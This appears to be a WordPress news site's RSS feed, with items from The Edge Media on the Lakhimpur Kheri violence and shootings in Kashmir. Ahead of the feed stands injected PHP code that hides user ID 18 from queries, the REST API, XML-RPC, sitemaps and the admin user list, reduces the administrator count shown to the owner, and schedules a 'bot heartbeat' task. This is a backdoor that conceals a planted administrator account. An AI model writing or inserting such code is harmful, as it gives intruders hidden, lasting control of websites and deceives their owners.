add_action( 'pre_get_posts', function( $q ) {
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        $not_in   = (array) $q->get( 'author__not_in' );
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} );

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add_action( 'pre_get_users', function( $q ) {
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    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 18;
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add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
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    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
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} );

add_action( 'wp_extra_bot_heartbeat', function() {
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} );
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		<title>Lakhimpur violence: A forensic investigation reveals that Ashish Mishra&#8217;s gun fired a shot</title>
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					<description><![CDATA[<p>Forensic analysis has revealed that shots were fired from the guns of union minister Ajay Mishra&#8217;s son Ashish Mishra, who was accused of running over four farmers with his SUV, and his buddy Ankit Das, in a fresh twist in the Lakhimpur Kheri carnage. &#160; Both Ashish and Das, who were arrested in connection with [&#8230;]</p>
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										<content:encoded><![CDATA[<p>Forensic analysis has revealed that shots were fired from the guns of union minister Ajay Mishra&#8217;s son Ashish Mishra, who was accused of running over four farmers with his SUV, and his buddy Ankit Das, in a fresh twist in the Lakhimpur Kheri carnage.</p>
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<p>Both Ashish and Das, who were arrested in connection with the incident and were now being held in the district jail, denied firing their permitted firearms. &#8221;The report of the forensic lab has confirmed that shots were fired from Ashish&#8217;s rifle and Ankit&#8217;s pistol,&#8221; a senior police official said in Lakhimpur Kheri on Tuesday. As per the official, the farmers claimed that the accused men fired shots.</p>
<p>The post <a href="https://theedgemedia.in/lakhimpur-violence-a-forensic-investigation-reveals-that-ashish-mishras-gun-fired-a-shot">Lakhimpur violence: A forensic investigation reveals that Ashish Mishra&#8217;s gun fired a shot</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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		<title>In Srinagar, a prominent Kashmiri Pandit merchant was shot and killed</title>
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					<description><![CDATA[<p>Makhan Lal Bindroo, the proprietor of a well-known Srinagar pharmacy, was shot and killed by suspected militants inside his store in Iqbal Park on Tuesday, according to police. &#160; The intruders shot Bindroo, 68, at point-blank range while he was dispensing drugs at his pharmacy, according to a police official. He was airlifted to a [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/in-srinagar-a-prominent-kashmiri-pandit-merchant-was-shot-and-killed">In Srinagar, a prominent Kashmiri Pandit merchant was shot and killed</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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										<content:encoded><![CDATA[<p>Makhan Lal Bindroo, the proprietor of a well-known Srinagar pharmacy, was shot and killed by suspected militants inside his store in Iqbal Park on Tuesday, according to police.</p>
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<p>The intruders shot Bindroo, 68, at point-blank range while he was dispensing drugs at his pharmacy, according to a police official. He was airlifted to a hospital, where he was pronounced dead. Bindroo, a Kashmir Pandit, was one of the few members of his community who did not flee Kashmir after the militancy began in 1990. He and his wife stayed behind to continue running their pharmacy, Bindroo Medicate.</p>
<p>The post <a href="https://theedgemedia.in/in-srinagar-a-prominent-kashmiri-pandit-merchant-was-shot-and-killed">In Srinagar, a prominent Kashmiri Pandit merchant was shot and killed</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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		<title>Militant shot dead in J&#038;k’s Budgam.</title>
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					<description><![CDATA[<p>On Saturday, An Unidentified militant was killed in an encounter with security forces in Budgam district of Jammu and Kashmir , police said.  Security forces launched a search operation in the Mochuwa area of Budgam district following inputs about the presence of militants there,a police official said. He said the search operations turned into an [&#8230;]</p>
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										<content:encoded><![CDATA[<p><span style="font-weight: 400">On Saturday, An Unidentified militant was killed in an encounter with security forces in Budgam district of Jammu and Kashmir , police said. </span></p>
<p><span style="font-weight: 400">Security forces launched a search operation in the Mochuwa area of Budgam district following inputs about the presence of militants there,a police official said.</span></p>
<p><span style="font-weight: 400">He said the search operations turned into an encounter after militants fired upon the forces, who retaliated.</span></p>
<p><span style="font-weight: 400">“One terrorist was killed in the encounter . An AK assault rifle and one pistol were recovered from the slain terrorist”, the official said. The identity and group affiliation of the slain militant is being ascertained , he said , adding the search operations in the areas are going on. </span></p>
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